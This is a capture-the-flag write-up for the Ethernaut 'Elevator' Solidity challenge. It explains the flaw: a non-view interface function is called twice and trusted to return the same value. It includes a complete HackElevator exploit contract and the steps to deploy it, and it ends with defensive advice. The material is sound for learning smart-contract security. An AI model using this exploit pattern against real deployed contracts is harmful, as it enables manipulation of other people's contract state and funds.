Ethernaut#11 - Elevator

Ethernaut #11 - Elevator

#11

This elevator won’t let you reach the top of your building. Right?

Things that might help:

  • Sometimes solidity is not good at keeping promises.
  • This Elevator expects to be used from a Building.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Building {
function isLastFloor(uint) external returns (bool);
}

contract Elevator {
bool public top;
uint public floor;

function goTo(uint _floor) public {
Building building = Building(msg.sender);

if (! building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}

Contract Breakdown

Let us breakdown the contract to understand what each function and piece of code does. The code consists of an interface Building and a contract Elevator compiled with solidity version ^0.8.0.

Interface
1
2
3
interface Building {
function isLastFloor(uint) external returns (bool);
}

The Building interface defines a single function isLastFloor that takes a uint and returns a bool. Notice something important here: the function is NOT marked as view or pure. This means the implementation is allowed to modify state.

Variables
1
2
bool public top;
uint public floor;

top is a boolean that indicates whether we have reached the top floor. floor stores the current floor number.

Functions
1
2
3
4
5
6
7
8
function goTo(uint _floor) public {
Building building = Building(msg.sender);

if (! building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}

The goTo function casts msg.sender as a Building and calls isLastFloor on it twice. First it checks if the floor is NOT the last floor. If that check passes (returns false), it sets the floor and then calls isLastFloor again, assigning the result to top.

Solution

The vulnerability here is that the Elevator contract calls isLastFloor twice and trusts that both calls will return the same value. But since isLastFloor is not restricted to being a view function, our implementation can return different values on each call.

The trick is to implement a Building contract where isLastFloor returns false on the first call (to pass the if check) and true on the second call (to set top to true).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IElevator {
function goTo(uint _floor) external;
}

contract HackElevator {
IElevator elevator;
bool public called;

constructor(address _elevatorAddress) {
elevator = IElevator(_elevatorAddress);
}

function attack() public {
elevator.goTo(1);
}

function isLastFloor(uint) external returns (bool) {
if (!called) {
called = true;
return false;
}
return true;
}
}

Steps to pass:

  • Copy the HackElevator contract to Remix and compile it.
  • Deploy it with the Elevator instance address from Ethernaut.
  • Call attack().
  • When goTo is called, it calls our isLastFloor. The first call returns false (passing the if check), and the second call returns true (setting top = true).
  • We have reached the top of the building.

Never trust external contract implementations to behave consistently, especially when the interface doesn’t enforce view or pure. If a function should not modify state, always mark it as view in the interface. Even then, be cautious about calling external contracts multiple times and assuming consistent results.